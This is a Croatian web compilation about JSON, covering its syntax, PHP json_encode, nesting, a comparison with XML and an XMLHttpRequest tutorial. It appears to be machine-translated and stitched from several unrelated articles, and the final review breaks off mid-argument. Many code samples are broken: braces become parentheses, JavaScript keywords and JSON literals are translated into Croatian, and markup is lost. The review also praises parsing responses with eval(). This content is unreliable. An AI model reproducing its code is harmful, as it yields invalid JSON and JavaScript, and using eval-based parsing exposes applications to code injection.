Json dekodiranje kratica. Osnove rada s JSON-om. Što je JSON

💖 Sviđa li vam se? Podijelite vezu sa svojim prijateljima

Varijable, nizovi i objekti poznati su i praktičan oblik predstavljanja podataka. Uobičajeno je da se podaci opisuju u jeziku preglednika JavaScript, koji nije neophodan u jeziku PHP poslužitelja. JSON format vam omogućuje da ih sažmete u jednu cjelinu i ne fokusirate se na programski jezik. U ovom slučaju podaci se pretvaraju u parove: "ime = vrijednost". Vrijednost u svakom od njih također može biti skup takvih parova.

Uobičajeno je povezivati ​​JSON s vitičastim zagradama i potonje je sasvim opravdano, budući da je JSON format = JavaScript Object Notation. Mnogo toga se promijenilo u posljednjim posebno dinamičnim godinama. Ono što je stvoreno za određenu svrhu često je donosilo neočekivane rezultate ili otvaralo nove horizonte.

Razmjena podataka: preglednik - poslužitelj

AJAX tehnologija postala je tradicionalna, redovito osvježavanje stranice u cijelosti je prestala biti popularna. Posjetitelj otvarajući stranicu pokreće niz parcijalnih razmjena podataka, kada se određene stranice mijenjaju samo na onom mjestu koje je relevantno.

Vjeruje se da je pojava JSON-a povezana s upotrebom AJAX-a, no zapravo, asocijativnost i njezina objektna notacija (značajke sintakse za opisivanje i korištenje objekata) imaju mnogo srodniji odnos s JSON-om nego razmjena podataka između preglednik i poslužitelj.

Budući da je sadržaj stranica modernih stranica doista postao “masivan” (glomazan), učinkovitost formata za razmjenu podataka dobila je posebnu važnost. To ne znači da je JSON postao novi prikaz podataka, ali značajna je činjenica da je dugo bio element JavaScript sintakse.

Korištenje ćirilice u imenovanju varijabli vrlo je neočekivana pojava (glupost), ali radi u najnovijim verzijama Chromea, Firefoxa pa čak i Internet Explorera 11.

Ćirilica i JSON

Naravno, nema smisla koristiti ovaj potpuno neočekivani fenomen, prisjećajući se kako se lako vrijednosti varijabli napisanih ruskim slovima pretvaraju u besmislicu: što možemo reći o imenima, posebno vanjskim.

Sumnja se da će inicijativu u ćiriličnim imenima podržati vanjsko okruženje preglednika, s kojim se stalno mora nositi. Ali ova činjenica zaslužuje pozornost iz jednostavnog razloga što je JSON format mogućnost pisanja imena i vrijednosti po želji programera. Ovo je važno jer u svakom zadatku opis područja primjene kako to zahtijeva značajno pojednostavljuje otklanjanje pogrešaka i smanjuje broj pogrešaka.

Nije važno što je točno bila osnova sintaktičke inovacije - JSON - važno je da je dala zakonsko pravo i stvarnu priliku za postavljanje korespondencije: "bilo koje ime = bilo koja vrijednost".

Moramo odati počast jeziku JavaScript: ono što daje sintaksa ne obvezuje programera i ne nameće mu ništa. Programer slobodno koristi sintaksu jezika kako bi optimalno formirao model podataka i algoritam za njihovu upotrebu.

PHP i JSON

Prihvaćanjem podataka u JSON formatu, poslužitelj (posebno putem PHP-a) pruža mogućnost da ih obradi onakvima kakvi jesu i vrati rezultat natrag pregledniku u sličnom formatu. PHP izvorni niz:

  • $cJSON = niz ("a"=> "alfa", "b"=> "beta", "g"=> "gama").

Pretvori u JSON za isporuku pregledniku:

  • $cJS = json_encode($cJSON).

Proizlaziti:

  • ("a":"alfa","b":"beta","g":"gama").

Dopušteno je gniježđenje prikazano na fotografiji.

Ovdje je generiranom nizu dodan novi element “u sebe” s automatskim indeksom “0”, a zatim ponovno s navedenim indeksom “z”.

Json_decode() pretvara JSON niz u PHP niz. Slični rezultati mogu se postići manipuliranjem funkcija i explode(). U nekim slučajevima ova je opcija poželjnija.

Razina gniježđenja

Elementi se mogu ugniježditi i na strani preglednika i na strani poslužitelja. U praksi, JSON format (opis standarda RFC 4627) pruža znatno više od 4 razine ugniježđivanja, ali ovu značajku ne treba zlorabiti.

Najbolje je nikada ne ići dalje od razumne dostatnosti; čini kod čitljivim, olakšavajući otklanjanje pogrešaka i razumijevanje drugim programerima.

JSON se obično naziva podatkovnim konstrukcijama koje su jednostavnije od XML-a i razumljive i ljudima i računalima. To vrijedi kada je količina podataka mala i programer je mudro odabrao razinu ugniježđivanja. U svim drugim slučajevima, brojanje broja zagrada i razumijevanje je teško i na strani preglednika i na strani poslužitelja.

JSON datoteke

Korištenje JSON-a u praksi često nije ograničeno na čitljiv kratki niz. Svaka konstrukcija podataka uvijek je pragmatična. U isto vrijeme, JSON se može učinkovito koristiti iu stvarnim podacima o zadacima (osoblje poduzeća) i za implementaciju privremenih podataka (predmemorija objekata).

Osoblje poduzeća i JSON format: primjer

Obično je zapis o jednoj osobi prezime, ime, patronim, godina rođenja, specijalnost, obrazovanje, ... i nekoliko drugih jednostavnih vrijednosti. Čak iu posebno zahtjevnim tvrtkama evidencija o jednoj osobi neće prelaziti desetak ili dva polja. To je vidljivo i može se smjestiti u niz baze podataka.

Ako tvrtka zapošljava više ljudi, to je jedno, a ako ih ima nekoliko desetaka tisuća, to je sasvim drugo. Možete nastaviti koristiti bazu podataka, ali njezino pohranjivanje kao datoteka čini se praktičnijim i pristupačnijim za korištenje.

JSON je obična tekstualna datoteka. Slučaj s kadrovskom tablicom, bez obzira na sve. Uvijek ga možete pročitati. Otvaranje i uređivanje također je dostupno u svakom uređivaču teksta koji nema naviku dodavati vlastite servisne informacije sadržaju datoteke. Općenito, *.json je čisti tekst i unutar preglednika i unutar datoteke - niz.

Fotografija prikazuje cache objekta koji čini sliku, primjer.

Ovo je primjer sadržaja datoteke koju je generirala stranica koja nudi 3D ispis u boji na šalice i keramiku. Naravno, s takvim JSON formatom odlučiti kako ga otvoriti doista je problematično. Međutim, u ovom i sličnim slučajevima nema problema s čitanjem datoteke: PHP čita datoteku, analizira je i prosljeđuje pregledniku. Podaci koje je posjetitelj promijenio vraćaju se na poslužitelj i zapisuju.

U ovom slučaju upotrebe, datoteka djeluje kao varijabla koja je pohranjena izvan koda. Ako je potrebno, varijabla prima vrijednost iz datoteke, a ako je promijeni posjetitelj u dijalogu koji nudi stranica, tada će sve promjene biti zabilježene takve kakve jesu. Nema potrebe čitati i provjeravati sadržaj datoteke.

JSON se često koristi za pohranjivanje i korištenje servisnih informacija - ovo nije tablica osoblja i ne moraju je vidjeti ni programer ni posjetitelj stranice.

XML i JSON

“Za sve postoji vrijeme” je klasična spoznaja prihvaćena kao aksiom i prije pojave programiranja. “Ništa se ne pojavljuje samo” - to je također bilo prije nego što je čovjek napisao prvi razumljivi program na umjetnom jeziku.

Formati podataka proizlaze iz stvarnih potreba i temelje se na stečenom znanju. HTML ima svoju stazu, XML ima svoju stazu, a JSON je JavaScript objektna logika proširena na druge jezike. Uspoređivati ​​jedno s drugim nije najbolja stvar. Svakom svoje.

XML se izvrsno nosi sa svojim zadacima i očito neće postati povijest. A JSON se koristio do 2006., samo što nije svaki programer smatrao svojom dužnošću deklarirati određene opcije za predstavljanje svojih podataka.

Bilo je slučajeva u praksi kada su programi napisani u BASIC-u koji nisu koristili JSON kao takav, ali su savršeno pohranili parove “ime = vrijednost” i učinili ih dostupnim pravim algoritmima u pravo vrijeme.

Posebni znakovi (“`”, “~”, “|”, ...) i formati podataka

Navika rada s asocijativnim nizovima i objektima u JavaScriptu čini upotrebu JSON-a prirodnom i praktičnom. Ovo je doista sjajan format, ali mogućnost odvajanja i spajanja, manipuliranja nizovima i nizovima ima mnogo dublje korijene.

Funkcije spajanja/razdvajanja JavaScript jezika i implode/explode PHP jezika omogućuju vam praktičnu i učinkovitu upotrebu XML, JSON formata podataka i vlastite verzije. Potonji je često optimalan, dok su prva dva idealna za opcije opće uporabe. Ako se informacije prenose drugom programeru, poslužitelju, datoteci ili bazi podataka, ne postoji bolji način za pronalaženje XML-a i JSON-a. Svi rade s njima, tako da prijenos/prijem informacija ne zahtijeva komentare.

Korištenje JSON-a u Androidu

Čitanje i pisanje podataka u JSON formatu u Androidu nije samo norma, već postoje i mnogi objekti usmjereni na rad s ovim određenim formatom podataka.

U ovom slučaju koristi se JSON format. Možda je to točno, ali nije riječ o fenomenalnosti društvenih mreža, već o tome da je prezentiranje informacija u formatu "ime=vrijednost" pogodno i za programiranje i za korištenje. Za razliku od strogog i složenog "XML-a", ovo je doista format prilagođen ljudima.

Asocijativni nizovi

Događa se da varijable moraju biti opisane (JavaScript) ili barem navedena početna vrijednost (PHP). U oba slučaja, varijabla može vrlo lako promijeniti svoj tip. Jezik ovu konverziju izvodi automatski ako je potrebno.

Ali zašto varijabla također ne bi promijenila ime, pojavila se tijekom izvođenja algoritma i nestala kada više nije potrebna? Asocijativni nizovi rješavaju ovaj problem, ali onda kada se koriste takve relativno dinamičke varijable, naziv polja i odgovarajući sintaktički konstrukti će slijediti mjesto gdje se koriste.

Ova je okolnost posebno izražena u PHP-u, ali s njom se možete pomiriti, kao i sa simbolom “$” u nazivu varijable i kombinacijom “$this->” unutar objekta. Programiranje u JavaScriptu i PHP-u u isto vrijeme, prvo se stvarno začudite koliko je sve drugačije, ali onda sve postane tako poznato i prirodno...

Asocijativni niz -> JSON

U ovom primjeru *.docx dokument kreiran je pomoću PHPOffice/PHPWord biblioteke, a polje aProperties sadrži svojstva tog dokumenta (autor, tvrtka, naslov, kategorija, datum izrade...).

Drugi niz sadrži podatke za stranicu:

  • orijentacija (pejzažna ili normalna);
  • okomite i vodoravne dimenzije;
  • uvlake (margine lijevo, gore, dolje, desno);
  • zaglavlja i podnožja.

Dokument se generira na poslužitelju na kojem je instalirana PHPOffice/PHPWord biblioteka. Stranica vam omogućuje upravljanje vrijednostima ovih nizova pomoću JavaScripta. Rezultat u JSON formatu vraća se natrag na poslužitelj i koristi u PHP algoritmima, u njegovim konstrukcijama, odnosno u nizovima.

Dinamičke varijable

JSON format rješava problem dinamičkih varijabli. Ovdje možete stvarati, mijenjati i brisati varijable bez nepotrebnog sintaktičkog nereda. Izgleda lijepo i koristi se u JavaScriptu.

U ovom primjeru funkcija GetOjInfo() dohvaća naziv vrijednosti i vrijednost iz objekta. U početku, objekt niza JSON dodijeljen varijabli ojInfo ima tri elementa: ime, dob i posao. Malo kasnije dodaje se varijabla Status.

Nakon prvog operatora brisanja, linija ojInfo gubi element starosti, nakon drugog brisanja gubi element rada. Ako pretpostavimo da je ovaj niz niz varijabli koje imaju određeno značenje, tada pomoću JSON-a zapravo možete stvarati, mijenjati i brisati bilo koji njihov skup izvan operativnog polja (sintakse) opisa i obrade JavaScript jezika.

Format JSON nije dizajniran za ovu opciju, ali je moguć, praktičan i prikladan.

JSON (JavaScript Object Notation) je format za prijenos podataka. Kao što naziv govori, format se temelji na programskom jeziku JavaScript, ali je dostupan i na drugim jezicima (Python, Ruby, PHP, Java).

JSON koristi ekstenziju .json. Kada se koristi u drugim formatima datoteka (kao što je .html), JSON niz se navodi ili se dodjeljuje varijabli. Ovaj se format lako prenosi između web poslužitelja i klijenta ili preglednika.

Lagan i jednostavan za razumijevanje, JSON je izvrsna alternativa XML-u.

Ovaj vodič će vas upoznati s prednostima, objektima, općom strukturom i sintaksom JSON-a.

JSON sintaksa i struktura

JSON objekt je u obliku ključ-vrijednost i obično se piše u vitičastim zagradama. Kada radite s JSON-om, svi objekti pohranjuju se u .json datoteku, ali mogu postojati i kao zasebni objekti u kontekstu programa.

JSON objekt izgleda ovako:

"ime" : "Ivan",
"prezime" : "Smith",
"lokacija" : "London",
"na mreži" : istina,
"sljedbenici" : 987

Ovo je vrlo jednostavan primjer. JSON objekt može sadržavati mnogo redaka.

Kao što vidite, objekt se sastoji od parova ključ-vrijednost koji su zatvoreni u vitičaste zagrade. Većina podataka u JSON-u napisana je kao objekti.

Između ključa i vrijednosti stavlja se dvotočka. Nakon svakog para potrebno je staviti zarez. Rezultat je:

"ključ" : "vrijednost", "ključ" : "vrijednost", "ključ" : "vrijednost"

JSON ključ je s lijeve strane. Ključ mora biti stavljen u dvostruke navodnike. Bilo koji važeći niz može se koristiti kao ključ. Unutar jednog objekta svi ključevi moraju biti jedinstveni. Ključ može sadržavati razmak ("ime"), ali programiranje može imati problema s pristupom takvom ključu. Stoga je umjesto razmaka bolje koristiti podvlaku (“ime”).

JSON vrijednosti nalaze se na desnoj strani stupca. Bilo koja jednostavna vrsta podataka može se koristiti kao vrijednost:

  • Žice
  • Brojke
  • Predmeti
  • Nizovi
  • Booleovi podaci (točno ili netočno)

Vrijednosti također mogu biti predstavljene složenim tipovima podataka (na primjer, objekti ili JSON polja).

JSON podržava individualnu sintaksu za svaku od gore navedenih vrsta podataka: ako je vrijednost predstavljena nizom, bit će stavljena u navodnike, ali ako je broj, neće.

Obično se podaci u .json datotekama pišu u stupcu, ali JSON se može pisati i u retku:

( "first_name" : "John", "last_name" : "Smith", "online" : true, )

Ovo je način na koji se JSON podaci obično zapisuju u druge vrste datoteka.

Zapisivanjem JSON podataka u stupac poboljšavate čitljivost datoteke (osobito ako u datoteci ima puno podataka). JSON zanemaruje razmake između stupaca, tako da ih možete koristiti za podjelu podataka u upravljiv broj stupaca.

"ime" : "Ivan",
"prezime" : "Smith",
"online" : istina

Imajte na umu da su JSON objekti vrlo slični JavaScript objektima, ali nisu istog formata. Na primjer, možete koristiti funkcije u JavaScriptu, ali ne i u JSON-u.

Glavna prednost JSON-a je to što podatke u ovom formatu podržavaju mnogi popularni programski jezici, pa se mogu brzo prenijeti.

Sada ste upoznati s osnovnom JSON sintaksom. Ali JSON datoteke mogu imati složene, hijerarhijske strukture koje uključuju ugniježđene nizove i objekte.

Složeni tipovi u JSON-u

JSON može pohraniti ugniježđene objekte i nizove, koji će biti proslijeđeni kao vrijednost ključa koji im je dodijeljen.

Ugniježđeni objekti

Ispod ćete pronaći primjer - datoteku users.json koja sadrži korisničke podatke. Za svakog korisnika

(“john”, “jesse”, “drew”, “jamie”) ugniježđeni objekt se prosljeđuje kao vrijednost, koja se također sastoji od ključeva i vrijednosti.

Napomena: prvi ugniježđeni JSON objekt označen je crvenom bojom.

"Ivan" :(
"korisničko ime": "Ivan",
"lokacija" : "London",
"na mreži" : istina,
"sljedbenici" : 987

"jesse" :(
"korisničko ime": "Jesse",
"lokacija" : "Washington",
"na mreži" : lažno,
"sljedbenici" : 432

"nacrtati" :(
"korisničko ime": "Drew",
"lokacija": "Pariz",
"na mreži" : lažno,
"sljedbenici" : 321

"jamie" :(
"korisničko ime": "Jamie",
"lokacija": "Berlin",
"na mreži" : istina,
"sljedbenici" : 654

Imajte na umu da se vitičaste zagrade koriste iu ugniježđenom objektu i u glavnom objektu. Zarezi u ugniježđenim objektima koriste se na isti način kao i u običnim.

Ugniježđeni nizovi

Podaci se mogu ugniježditi u JSON pomoću JavaScript nizova, koji će se proslijediti kao vrijednosti. JavaScript koristi uglate zagrade () na početku i kraju niza. Niz je uređena zbirka podataka koja može sadržavati različite vrste podataka.

Niz se koristi za prijenos velike količine podataka koji se mogu grupirati. Na primjer, pokušajmo zabilježiti korisničke podatke.

{
"ime" : "Ivan",
"prezime" : "Smith",
"lokacija" : "London",
"web stranice" : [

"opis" : "posao",
"URL" : "https://www.johnsmithsite.com/"

},
{

"desciption" : "tutorijali",
"URL" : "https://www.johnsmithsite.com/tutorials"

"društveni mediji" : [

"opis": "twitter",
"link" : "https://twitter.com/johnsmith"

"opis": "facebook",
"link" : "https://www.facebook.com/johnsmith"

"opis": "github",
"link" : "https://github.com/johnsmith"

Ključevima “web stranice” i “social_media” dodijeljeni su nizovi kao vrijednosti koje su smještene u uglate zagrade.

Koristeći ugniježđene nizove i objekte, možete stvoriti složenu hijerarhiju podataka.

JSON ili XML?

XML (eXtensible Markup Language) omogućuje pohranjivanje podataka u obliku koji je lako razumljiv ljudima i strojevima. XML format podržava velik broj programskih jezika.

XML i JSON imaju mnogo toga zajedničkog. Međutim, XML zahtijeva mnogo više teksta, što znači da su takve datoteke veće i teže ih je čitati i pisati. Štoviše, XML se obrađuje samo pomoću XML interpretera, dok se JSON može obraditi pomoću jednostavne funkcije. Za razliku od JSON-a, XML ne može pohranjivati ​​nizove.

Usporedimo dvije datoteke: one sadrže iste podatke, ali je prva napisana u XML formatu, a druga u JSON formatu.

korisnici.xml

John London

Jesse Washington

Drew Paris

Jamie Berlin

korisnici.json
("korisnici": [

("korisničko ime": "John", "lokacija": "London"),
("korisničko ime": "Jesse", "lokacija": "Washington"),
("korisničko ime": "Drew", "lokacija": "Pariz"),
("korisničko ime": "JamieMantisShrimp", "lokacija": "Berlin")

JSON je vrlo kompaktan format i ne zahtijeva toliko oznaka kao XML. Uz to, XML, za razliku od JSON-a, ne podržava nizove.

Ako ste upoznati s HTML-om, primijetit ćete da mu je XML format vrlo sličan (osobito oznake). JSON je jednostavniji, zahtijeva manje teksta i lakši je za korištenje u AJAX aplikacijama, na primjer.

Naravno, format se mora odabrati ovisno o potrebama aplikacije.

Alati za JSON

JSON se obično koristi u JavaScriptu, ali se format široko koristi u drugim programskim jezicima.

Više informacija o JSON kompatibilnosti i obradi možete pronaći na web stranici projekta i jQuery biblioteci.

Rijetko je napisati JSON od nule. Podaci se obično učitavaju iz izvora ili pretvaraju u JSON. Možete pretvoriti CSV ili podatke razdvojene tabulatorima u JSON pomoću alata otvorenog koda Mr. Pretvarač podataka. Za pretvaranje XML-a u JSON i obrnuto koristite utilities-online.info. Kada radite s automatskim alatima, svakako provjerite rezultate.

JSON datoteke (uključujući konvertirane podatke) mogu se pregledati pomoću usluge JSONLint. Za testiranje JSON-a u kontekstu web razvoja, pogledajte JSFiddle.

Zaključak

JSON je jednostavan i lagan format podataka. JSON datoteke lako je prenijeti, pohraniti i koristiti.

Danas se JSON često koristi u API-jima.

JavaScript Object Notation (JSON) standardni je tekstualni format za predstavljanje strukturiranih podataka na temelju sintakse JavaScript objekta. Obično se koristi za prijenos podataka u web aplikacijama (na primjer, slanje nekih podataka s poslužitelja na klijenta kako bi se mogli prikazati na web stranici ili obrnuto). Često ćete se susresti s ovim, pa vam u ovom članku dajemo sve što vam je potrebno za rad s JSON-om pomoću JavaScripta, uključujući raščlanjivanje JSON-a kako biste mogli pristupiti podacima unutar njega i stvoriti JSON.

Ne, stvarno, što je JSON?

Učitat ćemo ga na našu stranicu i upotrijebiti neku zgodnu DOM manipulaciju da ga renderiramo, ovako:

Primanje JSON-a

Za primanje JSON-a koristit ćemo API koji se zove XMLHttpRequest (često se naziva XHR). Ovo je vrlo koristan JavaScript objekt koji nam omogućuje mrežne zahtjeve za preuzimanje resursa s poslužitelja putem JavaScripta (npr. slike, tekst, JSON, čak i HTML isječke), što znači da možemo ažurirati male dijelove sadržaja bez ponovnog učitavanja cijele stranice . To je rezultiralo responzivnijim web-stranicama i zvuči uzbudljivo, ali je nažalost izvan dosega ovog članka da o tome podučavamo mnogo detaljnije.

  • Počnimo s činjenicom da ćemo JSON URL koji želimo primiti pohraniti u varijablu. Dodajte sljedeći JavaScript kod: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  • Da bismo kreirali zahtjev, moramo stvoriti novu instancu objekta zahtjeva iz XMLHttpRequest konstruktora koristeći novu ključnu riječ. Dodajte sljedeće u nastavku kao posljednji redak: var request = new XMLHttpRequest();
  • Sada moramo otvoriti novi zahtjev koristeći . Dodajte sljedeći redak: request.open("GET", requestURL);

    Za to su potrebna najmanje dva parametra - dostupni su i drugi parametri. Potrebna su nam samo dva za ovaj jednostavan primjer:

    • HTTP metoda koja se koristi prilikom postavljanja mrežnog zahtjeva. Ovaj slučaj je u redu jer samo dohvaćamo neke jednostavne podatke.
    • URL za zahtjev je URL JSON datoteke koju smo ranije spremili.
  • Zatim dodajte sljedeća dva retka: Ovdje postavljamo na JSON tako da XHR zna da će poslužitelj vratiti JSON i da bi to trebalo pretvoriti iza scene u JavaScript objekt. Zatim šaljemo zahtjev pomoću metode: request.responseType = "json"; zahtjev.pošalji();
  • Posljednji dio ovog odjeljka uključuje čekanje povratnog odgovora od poslužitelja i zatim rukovanje njime. Dodajte sljedeći kod ispod svog prethodnog koda: request.onload = function() ( var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); )
  • Ovdje spremamo odgovor na naš zahtjev (dostupan u svojstvu) u varijabli superHeroes; ova varijabla sada će sadržavati JSON temeljen JavaScript objekt! Zatim prosljeđujemo ovaj objekt dvama pozivima funkcija - prvi će ga popuniti točnim podacima, a drugi će stvoriti info karticu za svakog heroja u timu i umetnuti je u .

    Umotali smo kod u rukovatelj događajima koji se pokreće kada se aktivira događaj učitavanja na objekt zahtjeva (pogledajte) - to je zato što se događaj učitavanja aktivira kada se odgovor uspješno vrati; radeći to na ovaj način osiguravamo da će zahtjev.odgovor definitivno biti dostupan kada pokušamo učiniti nešto po tom pitanju.

    Ispunjavanje zaglavlja

    Sada smo izdvojili JSON podatke i pretvorili ih u JavaScript objekt, iskoristimo ih pisanjem dvije funkcije koje smo povezali iznad. Prije svega, dodajte sljedeću definiciju funkcije ispod prethodnog koda:

    Funkcija populateHeader(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; header.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "Hometown: " + jsonObj["homeTown"] + " // Formed: " + jsonObj["formed"]; header.appendChild(myPara);

    Parametar smo nazvali jsonObj kako bismo se podsjetili da ovaj JavaScript objekt potječe iz JSON-a. Ovdje prvo stvaramo element pomoću , postavljamo ga jednak svojstvu squadName objekta, a zatim ga dodajemo u zaglavlje pomoću . Zatim radimo vrlo sličnu operaciju s odlomkom: stvaramo ga, postavljamo njegov tekstualni sadržaj i dodajemo ga u naslov. Jedina razlika je u tome što je njegov tekst naveden kao spojeni niz koji sadrži i homeTown i formirana svojstva objekta.

    Izrada kartica s informacijama o herojima

    Zatim dodajte sljedeću funkciju na dnu koda koja stvara i prikazuje kartice superheroja:

    Funkcija showHeroes(jsonObj) ( var heroes = jsonObj["members"]; for (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

    Prvo, pohranimo svojstvo članova JavaScript objekta u novu varijablu. Ovaj niz sadrži nekoliko objekata koji sadrže informacije za svakog heroja.

    Zatim koristimo za prolazak kroz svaki objekt u nizu. Za svaku od njih mi:

  • Stvaramo nekoliko novih elemenata: , , tri

    I

      .
    • Postavite da sadrži ime trenutnog heroja.
    • Ispunite tri odlomka sa svojim tajnim identitetom, dobi i retkom koji kaže "Supermoći:" da biste unijeli podatke na popis.
    • Svojstvo moći pohranjujemo u drugu novu varijablu koja se zove superMoći - ona sadrži niz koji navodi supermoći trenutnog heroja.
    • Koristimo drugu for petlju za kruženje kroz supermoći trenutnog heroja - za svaku od njih stvaramo element
    • , stavite supermoći u njega, a zatim stavite listItem unutar elementa
        (myList) koristeći appendChild() .
      • Zadnje što radimo je dodavanje,

        I

          unutar (myArticle) i zatim ga dodajte u . Redoslijed kojim se dodaju stvari je važan, jer je to redoslijed kojim će se pojaviti unutar HTML-a.

          Bilješka: Ako imate problema s praćenjem notacije točka/zagrada koju koristimo za pristup JavaScript objektu, može pomoći da otvorite datoteku superheroes.json u drugoj kartici ili uređivaču teksta i pogledate je kada gledate naš JavaScript. Također možete pogledati naš članak za više informacija o označavanju točkama i zagradama.

          Pretvorite između objekata i teksta

          Gornji primjer bio je jednostavan u smislu pristupa JavaScript objektu jer smo naveli XHR zahtjev za izravnu konverziju JSON odgovora u JavaScript objekt koristeći .

          • Prijevod

          Napomena: u nastavku je prijevod recenzije “JSON vs XML”, posvećene JSON-u i njegovoj usporedbi s XML-om prema nizu kriterija. Objavljeno u svrhu popularizacije JSON-a među čitateljima Habrahabra.

          JSON (JavaScript Object Notation) je format za razmjenu podataka koji ljudi lako čitaju, programi ga lako obrađuju i generiraju.

          Na temelju podskupa jezika JavaScript, Standard ECMA-262 3. izdanje - prosinac 1999.


          JSON - Wikipedia

          Koji je ispravan format odgovora za XMLHttpRequest u AJAX aplikacijama? Za većinu aplikacija koje se temelje na označavanju, odgovor je jednostavan - (X)HTML. Za aplikacije usmjerene na informacije, izbor će biti između XML-a i JSON-a. Sve donedavno nisam se baš pitao što je bolje koristiti, XML ili JSON. Jednostavno sam pretpostavio da u svakom konkretnom slučaju vrijedi odabrati najprikladniji format, i to je sve. Ali nedavno sam imao priliku isprobati ovaj pristup u praksi. U ovom postu opisat ću kriterije po kojima sam napravio usporedbu XML-a i JSON-a te svoje zaključke.

          Dakle, kriteriji su sljedeći.

          • Čitljivost koda.
          • Jednostavnost stvaranja podatkovnog objekta na strani poslužitelja.
          • Jednostavna obrada podataka na strani klijenta.
          • Lako proširiti.
          • Otklanjanje pogrešaka i ispravljanje pogrešaka.
          • Sigurnost.
          Čitljivost koda

          Osoba osoba = nova Osoba(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

          Kada se uzme u obzir funkcioniranje takvih programskih sučelja, stvaranje JSON-a ne razlikuje se puno od serijalizacije Java beana u objekte. Međutim, vrijedi napomenuti da sada postoji mnogo više načina za generiranje XML-a od JSON-a. Neki od ovih XML API-ja postoje već mnogo godina i iz tog razloga mogu biti stabilniji kada se koriste za složene aplikacije.

          Još jedan aspekt koji treba razmotriti bit će količina resursa koji se koriste za generiranje odgovora. Ako se već izvode "teške" operacije prilikom primanja podataka, tada poslužiteljskom dijelu neće biti teško dodatno ih pretvoriti u XML za odgovor. Ako je stvaranje XML-a operacija koja zahtijeva najviše resursa, onda je bolje koristiti JSON.

          Jednostavnost korištenja

          Na strani klijenta, obrada JSON podataka kao odgovora na XMLHttpRequest iznimno je jednostavna.

          Var person = eval(xhr.responseText); upozorenje(osoba.ime);

          Upotrebom regularnog eval() možete pretvoriti odgovor u JavaScript objekt. Nakon što je ova operacija dovršena, podacima se može pristupiti pomoću svojstava pretvorenog objekta. Ovo je najelegantniji dio JSON-a.

          Sada pogledajmo XML. Kako bi donji isječak koda bio transparentniji, uklonio sam sve provjere pogrešaka.

          "ime");

          Očito, prilikom obrade podataka primljenih s poslužitelja potrebno je pregledati cijelo DOM stablo. Ovo je vrlo radno intenzivna operacija i sklona je pogreškama. Nažalost, u pregledniku se moramo nositi s DOM-om. Preglednici ne podržavaju jezik upita kao što je XPath za dohvaćanje čvorova stabla u XML dokumentu. Podrška za ove funkcije već se odnosi na XSLT, ali je prilično ograničena ( Napomena: u pregledniku) u smislu pretvaranja XML-a u oznake (na primjer, HTML). Radna skupina za web sučelja ( Radna skupina za web API) iz W3C radi na selektorskom sučelju ( API za odabire), koji se može koristiti za primjenu CSS selektora prilikom odabira čvorova iz objekta dokumenta. Koristeći takvo sučelje, bilo bi moguće transformirati gornji primjer koda u xml.match("person.firstName") kako bi se dobio element firstName. Ovo nije veliko postignuće za XML dokument u ovom primjeru, ali može biti korisno za rad s vrlo razgranatim dokumentima. Ovo sučelje još nije dovršeno i proći će godine dok ga preglednici ne podrže.

          Općenito, ako moram birati između XML-a i JSON-a, dat ću prednost JSON-u zbog jednostavnosti implementacije obrade na strani klijenta.

          Proširljivost

          Proširivost pomaže smanjiti broj komunikacija između davatelja podataka i primatelja. U kontekstu AJAX aplikacija, skripta na strani klijenta mora biti dovoljno nepromjenjiva u odnosu na kompatibilne promjene podataka.

          Općenito je uvjerenje da je XML automatski proširiv samo zahvaljujući prisutnosti slova "X". Ali ovo nije bezuvjetno pravilo (tj. djelovanje prema zadanim postavkama). Proširivost XML-a temelji se na načelu da možete definirati dodatne čvorove u svom XML-u, a zatim primijeniti pravilo "preskoči ono što nije potrebno" (tj., ako naiđete na nepoznati element ili atribut tijekom obrade XML-a, jednostavno ga preskočite).

          Da biste u potpunosti iskoristili prednosti proširivosti, morate pisati kod na strani klijenta imajući na umu proširivost. Na primjer, sljedeći primjer će se pokvariti ako želite umetnuti, na primjer, element MiddleName.

          Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elementi[0]; var lastNameEl = firstNameEl.nextSibling;

          Ako umetnete element odmah nakon elementa, ovaj će primjer uzrokovati da se srednje ime pogrešno protumači kao prezime. Kako bi bio nepromjenjiv u odnosu na ovu promjenu, kod treba prepisati da eksplicitno dobije element ili pristupiti nextSibling samo ako se pronađe dijete sa željenom oznakomName. Dakle, XML je proširiv sve dok kod pišete imajući na umu buduću proširivost. Sve je krajnje jednostavno.

          Vratimo se na JSON. Tvrdim da je lakše proširiti JSON podatke nego XML. To nedvojbeno zahtijeva manje truda. Razmotrimo dodavanje svojstva MiddleName JSON odgovoru. Da biste mu pristupili, samo ga trebate nazvati.

          Upozorenje(osoba.srednjeime);

          Ovaj kod se neće promijeniti ako svom odgovoru dodate srednje ime. Ali što učiniti u slučaju obrade osobe sa ili bez srednjeg imena? S JSON-om je lako.

          if (person.middleName) ( // Obrada )

          Moje je stajalište da se, ako se ima na umu moguća buduća proširivost, i XML i JSON podaci mogu proširiti. Ali lakše je proširiti podatke s JSON nego s XML-om. Jednostavno trebate provjeriti postoji li traženo svojstvo na objektu i djelovati u skladu s rezultatom provjere.

          Druga opcija za proširenje JSON podataka je korištenje poziva funkcija zajedno s deklaracijama podataka izravno u odgovoru.

          Alert("Bok - ja sam osoba"); (("firstName" : "Subbu", "lastName" : "Allamaraju"));

